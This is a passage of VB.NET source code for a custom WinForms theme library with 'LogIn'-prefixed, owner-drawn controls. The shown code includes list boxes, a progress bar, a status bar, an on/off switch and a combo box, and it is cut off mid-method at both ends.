Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property BackColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + Public Overrides ReadOnly Property ButtonSelectedBorder() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property CheckBackground() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property CheckPressedBackground() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property CheckSelectedBackground() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientBegin() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientEnd() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientMiddle() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property MenuBorder() As Color + Get + Return _BorderColour + End Get + End Property + + Public Overrides ReadOnly Property MenuItemBorder() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property MenuItemSelected() As Color + Get + Return _SelectedColour + End Get + End Property + + Public Overrides ReadOnly Property SeparatorDark() As Color + Get + Return _BorderColour + End Get + End Property + + Public Overrides ReadOnly Property ToolStripDropDownBackground() As Color + Get + Return _BackColour + End Get + End Property + +#End Region + +End Class + +Public Class LogInListBox + Inherits Control + +#Region "Variables" + + Private WithEvents ListB As New ListBox + Private _Items As String() = {""} + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _SelectedColour As Color = Color.FromArgb(55, 55, 55) + Private _ListBaseColour As Color = Color.FromArgb(47, 47, 47) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + +#End Region + +#Region "Properties" + + + Public Property Items As String() + Get + Return _Items + End Get + Set(value As String()) + _Items = value + ListB.Items.Clear() + ListB.Items.AddRange(value) + Invalidate() + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property SelectedColour As Color + Get + Return _SelectedColour + End Get + Set(value As Color) + _SelectedColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ListBaseColour As Color + Get + Return _ListBaseColour + End Get + Set(value As Color) + _ListBaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Public ReadOnly Property SelectedItem() As String + Get + Return CStr(ListB.SelectedItem) + End Get + End Property + + Public ReadOnly Property SelectedIndex() As Integer + Get + Return ListB.SelectedIndex + If ListB.SelectedIndex < 0 Then Exit Property + End Get + End Property + + Public Sub Clear() + ListB.Items.Clear() + End Sub + + Public Sub ClearSelected() + For i As Integer = (ListB.SelectedItems.Count - 1) To 0 Step -1 + ListB.Items.Remove(ListB.SelectedItems(i)) + Next + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(ListB) Then + Controls.Add(ListB) + End If + End Sub + + Sub AddRange(ByVal items As Object()) + ListB.Items.Remove("") + ListB.Items.AddRange(items) + End Sub + + Sub AddItem(ByVal item As Object) + ListB.Items.Remove("") + ListB.Items.Add(item) + End Sub + +#End Region + +#Region "Draw Control" + + Sub Drawitem(ByVal sender As Object, ByVal e As DrawItemEventArgs) Handles ListB.DrawItem + If e.Index < 0 Then Exit Sub + e.DrawBackground() + e.DrawFocusRectangle() + With e.Graphics + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .InterpolationMode = InterpolationMode.HighQualityBicubic + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + If InStr(e.State.ToString, "Selected,") > 0 Then + .FillRectangle(New SolidBrush(_SelectedColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height - 1)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 9, FontStyle.Bold), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + Else + .FillRectangle(New SolidBrush(_ListBaseColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 8), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + End If + .Dispose() + End With + End Sub + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + ListB.DrawMode = DrawMode.OwnerDrawFixed + ListB.ScrollAlwaysVisible = False + ListB.HorizontalScrollbar = False + ListB.BorderStyle = BorderStyle.None + ListB.BackColor = _BaseColour + ListB.Location = New Point(3, 3) + ListB.Font = New Font("Segoe UI", 8) + ListB.ItemHeight = 20 + ListB.Items.Clear() + ListB.IntegralHeight = False + Size = New Size(130, 100) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BackColor) + ListB.Size = New Size(Width - 6, Height - 5) + .FillRectangle(New SolidBrush(_BaseColour), Base) + .DrawRectangle(New Pen(_BorderColour, 3), New Rectangle(0, 0, Width, Height - 1)) + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub + +#End Region + +End Class + +Public Class LogInTitledListBox + Inherits Control + +#Region "Variables" + + Private WithEvents ListB As New ListBox + Private _Items As String() = {""} + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _SelectedColour As Color = Color.FromArgb(55, 55, 55) + Private _ListBaseColour As Color = Color.FromArgb(47, 47, 47) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TitleFont As New Font("Segeo UI", 10, FontStyle.Bold) + +#End Region + +#Region "Properties" + + + Public Property TitleFont As Font + Get + Return _TitleFont + End Get + Set(value As Font) + _TitleFont = value + End Set + End Property + + + Public Property Items As String() + Get + Return _Items + End Get + Set(value As String()) + _Items = value + ListB.Items.Clear() + ListB.Items.AddRange(value) + Invalidate() + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property SelectedColour As Color + Get + Return _SelectedColour + End Get + Set(value As Color) + _SelectedColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ListBaseColour As Color + Get + Return _ListBaseColour + End Get + Set(value As Color) + _ListBaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Public ReadOnly Property SelectedItem() As String + Get + Return CStr(ListB.SelectedItem) + End Get + End Property + + Public ReadOnly Property SelectedIndex() As Integer + Get + Return ListB.SelectedIndex + If ListB.SelectedIndex < 0 Then Exit Property + End Get + End Property + + Public Sub Clear() + ListB.Items.Clear() + End Sub + + Public Sub ClearSelected() + For i As Integer = (ListB.SelectedItems.Count - 1) To 0 Step -1 + ListB.Items.Remove(ListB.SelectedItems(i)) + Next + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(ListB) Then + Controls.Add(ListB) + End If + End Sub + + Sub AddRange(ByVal items As Object()) + ListB.Items.Remove("") + ListB.Items.AddRange(items) + End Sub + + Sub AddItem(ByVal item As Object) + ListB.Items.Remove("") + ListB.Items.Add(item) + End Sub + +#End Region + +#Region "Draw Control" + + Sub Drawitem(ByVal sender As Object, ByVal e As DrawItemEventArgs) Handles ListB.DrawItem + If e.Index < 0 Then Exit Sub + e.DrawBackground() + e.DrawFocusRectangle() + With e.Graphics + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .InterpolationMode = InterpolationMode.HighQualityBicubic + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + If InStr(e.State.ToString, "Selected,") > 0 Then + .FillRectangle(New SolidBrush(_SelectedColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height - 1)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 9, FontStyle.Bold), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + Else + .FillRectangle(New SolidBrush(_ListBaseColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 8), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + End If + .Dispose() + End With + End Sub + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + ListB.DrawMode = DrawMode.OwnerDrawFixed + ListB.ScrollAlwaysVisible = False + ListB.HorizontalScrollbar = False + ListB.BorderStyle = BorderStyle.None + ListB.BackColor = BaseColour + ListB.Location = New Point(3, 28) + ListB.Font = New Font("Segoe UI", 8) + ListB.ItemHeight = 20 + ListB.Items.Clear() + ListB.IntegralHeight = False + Size = New Size(130, 100) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + + Dim G = e.Graphics + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BackColor) + ListB.Size = New Size(Width - 6, Height - 30) + .FillRectangle(New SolidBrush(BaseColour), Base) + .DrawRectangle(New Pen((_BorderColour), 3), New Rectangle(0, 0, Width, Height - 1)) + .DrawLine(New Pen((_BorderColour), 2), New Point(0, 27), New Point(Width - 1, 27)) + .DrawString(Text, _TitleFont, New SolidBrush(_TextColour), New Rectangle(2, 5, Width - 5, 20), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub + +#End Region + +End Class + +Public Class LogInContextMenu + Inherits ContextMenuStrip + +#Region "Declarations" + + Private _FontColour As Color = Color.FromArgb(55, 255, 255) + +#End Region + +#Region "Properties" + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + + Sub New() + Renderer = New ToolStripProfessionalRenderer(New LogInColourTable()) + ShowCheckMargin = False + ShowImageMargin = False + ForeColor = Color.FromArgb(255, 255, 255) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + MyBase.OnPaint(e) + End Sub + +#End Region + +End Class + +Public Class LogInProgressBar + Inherits Control + +#Region "Declarations" + Private _ProgressColour As Color = Color.FromArgb(0, 160, 199) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _FontColour As Color = Color.FromArgb(50, 50, 50) + Private _SecondColour As Color = Color.FromArgb(0, 145, 184) + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + Private _TwoColour As Boolean = True +#End Region + +#Region "Properties" + + Public Property SecondColour As Color + Get + Return _SecondColour + End Get + Set(value As Color) + _SecondColour = value + End Set + End Property + + + Public Property TwoColour As Boolean + Get + Return _TwoColour + End Get + Set(value As Boolean) + _TwoColour = value + End Set + End Property + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + Invalidate() + Case Else + Return _Value + Invalidate() + End Select + End Get + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Events" + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 25 + End Sub + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Height = 25 + End Sub + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Dim ProgVal As Integer = CInt(_Value / _Maximum * Width) + Select Case Value + Case 0 + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + .DrawRectangle(New Pen(_BorderColour, 3), Base) + Case _Maximum + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + If _TwoColour Then + G.SetClip(New Rectangle(0, -10, CInt(Width * _Value / _Maximum - 1), Height - 5)) + For i = 0 To (Width - 1) * _Maximum / _Value Step 25 + G.DrawLine(New Pen(New SolidBrush(_SecondColour), 7), New Point(CInt(i), 0), New Point(CInt(i - 15), Height)) + Next + G.ResetClip() + Else + End If + .DrawRectangle(New Pen(_BorderColour, 3), Base) + Case Else + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + If _TwoColour Then + .SetClip(New Rectangle(0, 0, CInt(Width * _Value / _Maximum - 1), Height - 1)) + For i = 0 To (Width - 1) * _Maximum / _Value Step 25 + .DrawLine(New Pen(New SolidBrush(_SecondColour), 7), New Point(CInt(i), 0), New Point(CInt(i - 10), Height)) + Next + .ResetClip() + Else + End If + .DrawRectangle(New Pen(_BorderColour, 3), Base) + End Select + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + +Public Class LogInRichTextBox + Inherits Control + +#Region "Declarations" + Private WithEvents TB As New RichTextBox + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) +#End Region + +#Region "Properties" + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + +#End Region + +#Region "Events" + + Public Sub AppendText(ByVal AppendingText As String) + TB.Focus() + TB.AppendText(AppendingText) + Invalidate() + End Sub + + Overrides Property Text As String + Get + Return TB.Text + End Get + Set(value As String) + TB.Text = value + Invalidate() + End Set + End Property + + Protected Overrides Sub OnBackColorChanged(ByVal e As System.EventArgs) + MyBase.OnBackColorChanged(e) + TB.BackColor = BackColor + Invalidate() + End Sub + + Protected Overrides Sub OnForeColorChanged(ByVal e As System.EventArgs) + MyBase.OnForeColorChanged(e) + TB.ForeColor = ForeColor + Invalidate() + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs) + MyBase.OnSizeChanged(e) + TB.Size = New Size(Width - 10, Height - 11) + End Sub + + Protected Overrides Sub OnFontChanged(ByVal e As System.EventArgs) + MyBase.OnFontChanged(e) + TB.Font = Font + End Sub + + Sub TextChanges() Handles MyBase.TextChanged + TB.Text = Text + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + With TB + .Multiline = True + .BackColor = _BaseColour + .ForeColor = _TextColour + .Text = String.Empty + .BorderStyle = BorderStyle.None + .Location = New Point(5, 5) + .Font = New Font("Segeo UI", 9) + .Size = New Size(Width - 10, Height - 10) + End With + Controls.Add(TB) + Size = New Size(135, 35) + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim g = e.Graphics + Dim Base As New Rectangle(0, 0, Width - 1, Height - 1) + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + .DrawRectangle(New Pen(_BorderColour, 2), ClientRectangle) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + +Public Class LogInStatusBar + Inherits Control + +#Region "Variables" + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.White + Private _RectColour As Color = Color.FromArgb(21, 117, 149) + Private _ShowLine As Boolean = True + Private _LinesToShow As LinesCount = LinesCount.One + Private _Alignment As Alignments = Alignments.Left + Private _ShowBorder As Boolean = True +#End Region + +#Region "Properties" + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Enum LinesCount As Integer + One = 1 + Two = 2 + End Enum + + Enum Alignments + Left + Center + Right + End Enum + + + Public Property Alignment As Alignments + Get + Return _Alignment + End Get + Set(value As Alignments) + _Alignment = value + End Set + End Property + + + Public Property LinesToShow As LinesCount + Get + Return _LinesToShow + End Get + Set(value As LinesCount) + _LinesToShow = value + End Set + End Property + + Public Property ShowBorder As Boolean + Get + Return _ShowBorder + End Get + Set(value As Boolean) + _ShowBorder = value + End Set + End Property + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Dock = DockStyle.Bottom + End Sub + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + + + Public Property RectangleColor As Color + Get + Return _RectColour + End Get + Set(value As Color) + _RectColour = value + End Set + End Property + + Public Property ShowLine As Boolean + Get + Return _ShowLine + End Get + Set(value As Boolean) + _ShowLine = value + End Set + End Property + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 9) + ForeColor = Color.White + Size = New Size(Width, 20) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BaseColour) + .FillRectangle(New SolidBrush(BaseColour), Base) + If _ShowLine = True Then + Select Case _LinesToShow + Case LinesCount.One + If _Alignment = Alignments.Left Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(22, 2, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + ElseIf _Alignment = Alignments.Center Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width, Height), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Else + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width - 5, Height), New StringFormat With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + End If + .FillRectangle(New SolidBrush(_RectColour), New Rectangle(5, 9, 14, 3)) + Case LinesCount.Two + If _Alignment = Alignments.Left Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(22, 2, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + ElseIf _Alignment = Alignments.Center Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width, Height), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Else + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width - 22, Height), New StringFormat With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + End If + .FillRectangle(New SolidBrush(_RectColour), New Rectangle(5, 9, 14, 3)) + .FillRectangle(New SolidBrush(_RectColour), New Rectangle(Width - 20, 9, 14, 3)) + End Select + Else + .DrawString(Text, Font, Brushes.White, New Rectangle(5, 2, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + End If + If _ShowBorder Then + .DrawLine(New Pen(_BorderColour, 2), New Point(0, 0), New Point(Width, 0)) + Else + End If + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub + +#End Region + +End Class + + +Public Class LogInOnOffSwitch + Inherits Control + +#Region "Declarations" + + Event ToggleChanged(ByVal sender As Object) + Private _Toggled As Toggles = Toggles.NotToggled + Private MouseXLoc As Integer + Private ToggleLocation As Integer = 0 + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _NonToggledTextColour As Color = Color.FromArgb(125, 125, 125) + Private _ToggledColour As Color = Color.FromArgb(23, 119, 151) + +#End Region + +#Region "Properties & Events" + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + Invalidate() + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + Invalidate() + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + Invalidate() + End Set + End Property + + + Public Property NonToggledTextColourderColour As Color + Get + Return _NonToggledTextColour + End Get + Set(value As Color) + _NonToggledTextColour = value + Invalidate() + End Set + End Property + + + Public Property ToggledColour As Color + Get + Return _ToggledColour + End Get + Set(value As Color) + _ToggledColour = value + Invalidate() + End Set + End Property + + Enum Toggles + Toggled + NotToggled + End Enum + + Event ToggledChanged() + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + MouseXLoc = e.Location.X + Invalidate() + If e.X < Width - 40 AndAlso e.X > 40 Then Cursor = Cursors.IBeam Else Cursor = Cursors.Arrow + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + If MouseXLoc > Width - 39 Then + _Toggled = Toggles.Toggled + ToggledValue() + ElseIf MouseXLoc < 39 Then + _Toggled = Toggles.NotToggled + ToggledValue() + End If + Invalidate() + End Sub + + Public Property Toggled() As Toggles + Get + Return _Toggled + End Get + Set(ByVal value As Toggles) + _Toggled = value + Invalidate() + End Set + End Property + + Private Sub ToggledValue() + If CBool(_Toggled) Then + If ToggleLocation < 100 Then + ToggleLocation += 10 + End If + Else + If ToggleLocation > 0 Then + ToggleLocation -= 10 + End If + End If + Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or + ControlStyles.UserPaint Or ControlStyles.DoubleBuffer, True) + BackColor = Color.FromArgb(54, 54, 54) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + + Dim G As Graphics = e.Graphics + With G + .Clear(BackColor) + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .InterpolationMode = InterpolationMode.HighQualityBicubic + .FillRectangle(New SolidBrush(_BaseColour), New Rectangle(0, 0, 39, Height)) + .FillRectangle(New SolidBrush(_BaseColour), New Rectangle(Width - 40, 0, Width, Height)) + .FillRectangle(New SolidBrush(_BaseColour), New Rectangle(38, 9, Width - 40, 5)) + Dim P As Point() = {New Point(0, 0), New Point(39, 0), New Point(39, 9), New Point(Width - 40, 9), New Point(Width - 40, 0), + New Point(Width - 2, 0), New Point(Width - 2, Height - 1), New Point(Width - 40, Height - 1), + New Point(Width - 40, 14), New Point(39, 14), New Point(39, Height - 1), New Point(0, Height - 1), New Point()} + .DrawLines(New Pen(_BorderColour, 2), P) + If _Toggled = Toggles.Toggled Then + .FillRectangle(New SolidBrush(_ToggledColour), New Rectangle(CInt(Width / 2), 10, CInt(Width / 2 - 38), 3)) + .FillRectangle(New SolidBrush(_ToggledColour), New Rectangle(Width - 39, 2, 36, Height - 5)) + .DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_TextColour), New Rectangle(2, -1, CInt(Width - 20 + 20 / 3), Height), New StringFormat() With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + .DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_NonToggledTextColour), New Rectangle(CInt(20 - 20 / 3 - 6), -1, CInt(Width - 20 + 20 / 3), Height), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center}) + ElseIf _Toggled = Toggles.NotToggled Then + .DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_TextColour), New Rectangle(CInt(20 - 20 / 3 - 6), -1, CInt(Width - 20 + 20 / 3), Height), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center}) + .DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_NonToggledTextColour), New Rectangle(2, -1, CInt(Width - 20 + 20 / 3), Height), New StringFormat() With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + End If + .DrawLine(New Pen(_BorderColour, 2), New Point(CInt(Width / 2), 0), New Point(CInt(Width / 2), Height)) + + End With + End Sub + +#End Region + +End Class + +Public Class LogInComboBox + Inherits ComboBox + +#Region "Declarations" + Private _StartIndex As Integer = 0 + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _LineColour As Color = Color.FromArgb(23, 119, 151) + Private _SqaureColour As Color = Color.FromArgb(47, 47, 47) + Private _ArrowColour As Color = Color.FromArgb(30, 30, 30) + Private _SqaureHoverColour As Color = Color.FromArgb(52, 52, 52) + Private State As MouseState = MouseState.None +#End Region + +#Region "Properties & Events" + + + Public Property LineColour As Color + Get + Return _LineColour + End Get + Set(value As Color) + _LineColour = value + End Set + End Property + + + Public Property SqaureColour As Color + Get + Return _SqaureColour + End Get + Set(value As Color) + _SqaureColour = value + End Set + End Property + + + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + + Public Property SqaureHoverColour As Color + Get + Return _SqaureHoverColour + End Get + Set(value As Color) + _SqaureHoverColour = value + End Set + End Property + + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + Public Property StartIndex As Integer + Get + Return _StartIndex + End Get + Set(ByVal value As Integer) + _StartIndex = value + Try + MyBase.SelectedIndex = value + Catch + End Try + Invalidate() + End Set + End Property + + Protected Overrides Sub OnTextChanged(e As System.EventArgs) + MyBase.OnTextChanged(e) + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Invalidate() + OnMouseClick(e) + End Sub + + Protected Overrides Sub OnMouseUp(e As System.Windows.Forms.MouseEventArgs) + Invalidate() + MyBase.OnMouseUp(e) + End Sub + +#End Region + +#Region "Draw Control" + + Sub ReplaceItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles Me.DrawItem + e.DrawBackground() + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + Dim Rect As New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width + 1, e.Bounds.Height + 1) + Try + With e.Graphics + If (e.State And DrawItemState.Selected) = 